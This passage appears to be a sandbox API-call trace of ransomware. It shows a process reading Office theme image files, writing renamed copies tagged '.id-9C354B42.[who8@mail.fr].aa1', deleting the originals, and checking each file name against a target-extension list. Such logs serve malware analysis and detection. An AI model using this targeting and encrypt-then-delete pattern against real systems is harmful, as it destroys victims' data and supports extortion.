dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0224.167] GetLastError () returned 0x0 [0224.167] ReadFile (in: hFile=0x22c, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0xcf7b, lpOverlapped=0x0) returned 1 [0224.203] WriteFile (in: hFile=0x1e4, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xcf80, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xcf80, lpOverlapped=0x0) returned 1 [0224.205] ReadFile (in: hFile=0x22c, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0224.205] WriteFile (in: hFile=0x1e4, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0224.205] SetEndOfFile (hFile=0x1e4) returned 1 [0224.205] CloseHandle (hObject=0x1e4) returned 1 [0224.206] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.206] SetEndOfFile (hFile=0x22c) returned 1 [0224.209] CloseHandle (hObject=0x22c) returned 1 [0224.209] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0224.209] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png")) returned 1 [0224.209] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0224.209] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0224.209] lstrlenW (lpString=".doc") returned 4 [0224.209] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0224.209] lstrlenW (lpString=".docx") returned 5 [0224.209] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0224.209] lstrlenW (lpString=".pdf") returned 4 [0224.210] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0224.210] lstrlenW (lpString=".xls") returned 4 [0224.210] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0224.210] lstrlenW (lpString=".xlsx") returned 5 [0224.210] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0224.210] lstrlenW (lpString=".ppt") returned 4 [0224.210] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0224.210] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0224.210] lstrlenW (lpString=".zip") returned 4 [0224.210] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0224.210] lstrlenW (lpString=".rar") returned 4 [0224.210] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0224.210] lstrlenW (lpString=".bz2") returned 4 [0224.210] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0224.210] lstrlenW (lpString=".7z") returned 3 [0224.210] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0224.210] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0224.210] lstrlenW (lpString=".dbf") returned 4 [0224.210] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0224.210] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0224.210] lstrlenW (lpString=".1cd") returned 4 [0224.210] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0224.210] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0224.210] lstrlenW (lpString=".jpg") returned 4 [0224.210] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0224.210] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0224.210] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0224.210] lstrlenW (lpString=".doc") returned 4 [0224.210] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0224.211] lstrlenW (lpString=".docx") returned 5 [0224.211] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0224.211] lstrlenW (lpString=".pdf") returned 4 [0224.211] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0224.211] lstrlenW (lpString=".xls") returned 4 [0224.211] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0224.211] lstrlenW (lpString=".xlsx") returned 5 [0224.211] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0224.211] lstrlenW (lpString=".ppt") returned 4 [0224.211] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0224.211] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0224.211] lstrlenW (lpString=".zip") returned 4 [0224.211] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0224.211] lstrlenW (lpString=".rar") returned 4 [0224.211] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0224.211] lstrlenW (lpString=".bz2") returned 4 [0224.211] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0224.211] lstrlenW (lpString=".7z") returned 3 [0224.211] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0224.211] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0224.211] lstrlenW (lpString=".dbf") returned 4 [0224.211] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0224.211] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0224.211] lstrlenW (lpString=".1cd") returned 4 [0224.211] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0224.211] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0224.211] lstrlenW (lpString=".jpg") returned 4 [0224.211] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0224.212] lstrcmpiW (lpString1=".GIF", lpString2=".aa1") returned 1 [0224.212] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0224.212] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0224.212] GetFileSizeEx (in: hFile=0x22c, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=4100) returned 1 [0224.212] CloseHandle (hObject=0x22c) returned 1 [0224.212] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif")) returned 0x20 [0224.212] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0224.212] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0224.212] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.212] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.213] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0224.259] GetLastError () returned 0x0 [0224.259] ReadFile (in: hFile=0x22c, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x1004, lpOverlapped=0x0) returned 1 [0224.280] WriteFile (in: hFile=0x1e4, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x1010, lpOverlapped=0x0) returned 1 [0224.281] ReadFile (in: hFile=0x22c, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0224.281] WriteFile (in: hFile=0x1e4, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xea, lpOverlapped=0x0) returned 1 [0224.281] SetEndOfFile (hFile=0x1e4) returned 1 [0224.281] CloseHandle (hObject=0x1e4) returned 1 [0224.282] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.282] SetEndOfFile (hFile=0x22c) returned 1 [0224.283] CloseHandle (hObject=0x22c) returned 1 [0224.283] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0224.283] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif")) returned 1 [0224.283] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0224.283] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0224.283] lstrlenW (lpString=".doc") returned 4 [0224.283] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0224.283] lstrlenW (lpString=".docx") returned 5 [0224.283] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0224.284] lstrlenW (lpString=".pdf") returned 4 [0224.284] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0224.284] lstrlenW (lpString=".xls") returned 4 [0224.284] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0224.284] lstrlenW (lpString=".xlsx") returned 5 [0224.284] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0224.284] lstrlenW (lpString=".ppt") returned 4 [0224.284] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0224.284] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0224.284] lstrlenW (lpString=".zip") returned 4 [0224.284] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0224.284] lstrlenW (lpString=".rar") returned 4 [0224.284] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0224.284] lstrlenW (lpString=".bz2") returned 4 [0224.284] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0224.284] lstrlenW (lpString=".7z") returned 3 [0224.284] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0224.284] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0224.284] lstrlenW (lpString=".dbf") returned 4 [0224.284] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0224.284] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0224.284] lstrlenW (lpString=".1cd") returned 4 [0224.284] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0224.285] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0224.285] lstrlenW (lpString=".jpg") returned 4 [0224.285] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0224.285] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0224.285] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0224.285] lstrlenW (lpString=".doc") returned 4 [0224.285] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0224.285] lstrlenW (lpString=".docx") returned 5 [0224.285] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0224.285] lstrlenW (lpString=".pdf") returned 4 [0224.285] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0224.285] lstrlenW (lpString=".xls") returned 4 [0224.285] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0224.285] lstrlenW (lpString=".xlsx") returned 5 [0224.286] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0224.286] lstrlenW (lpString=".ppt") returned 4 [0224.286] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0224.286] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0224.286] lstrlenW (lpString=".zip") returned 4 [0224.286] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0224.286] lstrlenW (lpString=".rar") returned 4 [0224.286] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0224.286] lstrlenW (lpString=".bz2") returned 4 [0224.286] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0224.286] lstrlenW (lpString=".7z") returned 3 [0224.286] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0224.286] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0224.286] lstrlenW (lpString=".dbf") returned 4 [0224.286] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0224.286] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0224.286] lstrlenW (lpString=".1cd") returned 4 [0224.286] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0224.286] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF") returned 75 [0224.286] lstrlenW (lpString=".jpg") returned 4 [0224.287] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0224.287] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.287] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.287] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0224.288] GetLastError () returned 0x0 [0224.288] ReadFile (in: hFile=0x22c, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x3a9, lpOverlapped=0x0) returned 1 [0224.459] WriteFile (in: hFile=0x1e4, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x3b0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x3b0, lpOverlapped=0x0) returned 1 [0224.460] ReadFile (in: hFile=0x22c, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0224.460] WriteFile (in: hFile=0x1e4, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xea, lpOverlapped=0x0) returned 1 [0224.460] SetEndOfFile (hFile=0x1e4) returned 1 [0224.460] CloseHandle (hObject=0x1e4) returned 1 [0224.461] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.461] SetEndOfFile (hFile=0x22c) returned 1 [0224.462] CloseHandle (hObject=0x22c) returned 1 [0224.462] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0224.462] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif")) returned 1 [0224.462] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0224.462] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0224.462] lstrlenW (lpString=".doc") returned 4 [0224.463] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0224.463] lstrlenW (lpString=".docx") returned 5 [0224.463] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0224.463] lstrlenW (lpString=".pdf") returned 4 [0224.463] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0224.463] lstrlenW (lpString=".xls") returned 4 [0224.463] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0224.463] lstrlenW (lpString=".xlsx") returned 5 [0224.463] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0224.463] lstrlenW (lpString=".ppt") returned 4 [0224.463] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0224.463] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0224.463] lstrlenW (lpString=".zip") returned 4 [0224.463] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0224.463] lstrlenW (lpString=".rar") returned 4 [0224.463] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0224.463] lstrlenW (lpString=".bz2") returned 4 [0224.463] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0224.463] lstrlenW (lpString=".7z") returned 3 [0224.463] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0224.463] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0224.463] lstrlenW (lpString=".dbf") returned 4 [0224.463] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0224.463] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0224.463] lstrlenW (lpString=".1cd") returned 4 [0224.463] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0224.463] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0224.463] lstrlenW (lpString=".jpg") returned 4 [0224.463] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0224.464] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.464] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.464] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0224.687] GetLastError () returned 0x0 [0224.687] ReadFile (in: hFile=0x22c, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x8a1, lpOverlapped=0x0) returned 1 [0224.703] WriteFile (in: hFile=0x1f8, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x8b0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x8b0, lpOverlapped=0x0) returned 1 [0224.704] ReadFile (in: hFile=0x22c, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0224.704] WriteFile (in: hFile=0x1f8, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xea, lpOverlapped=0x0) returned 1 [0224.704] SetEndOfFile (hFile=0x1f8) returned 1 [0224.704] CloseHandle (hObject=0x1f8) returned 1 [0224.705] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.705] SetEndOfFile (hFile=0x22c) returned 1 [0224.706] CloseHandle (hObject=0x22c) returned 1 [0224.706] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0224.706] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif")) returned 1 [0224.706] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0224.706] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0224.706] lstrlenW (lpString=".doc") returned 4 [0224.706] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0224.707] lstrlenW (lpString=".docx") returned 5 [0224.707] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0224.707] lstrlenW (lpString=".pdf") returned 4 [0224.707] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0224.707] lstrlenW (lpString=".xls") returned 4 [0224.707] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0224.707] lstrlenW (lpString=".xlsx") returned 5 [0224.707] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0224.707] lstrlenW (lpString=".ppt") returned 4 [0224.707] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0224.707] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0224.707] lstrlenW (lpString=".zip") returned 4 [0224.707] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0224.707] lstrlenW (lpString=".rar") returned 4 [0224.707] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0224.707] lstrlenW (lpString=".bz2") returned 4 [0224.707] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0224.707] lstrlenW (lpString=".7z") returned 3 [0224.707] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0224.707] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0224.707] lstrlenW (lpString=".dbf") returned 4 [0224.707] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0224.707] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0224.707] lstrlenW (lpString=".1cd") returned 4 [0224.707] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0224.707] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0224.707] lstrlenW (lpString=".jpg") returned 4 [0224.707] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0224.708] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.708] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.708] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0224.958] GetLastError () returned 0x0 [0224.958] ReadFile (in: hFile=0x22c, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x6c9, lpOverlapped=0x0) returned 1 [0224.969] WriteFile (in: hFile=0x1fc, lpBuffer=0x3c80020*, 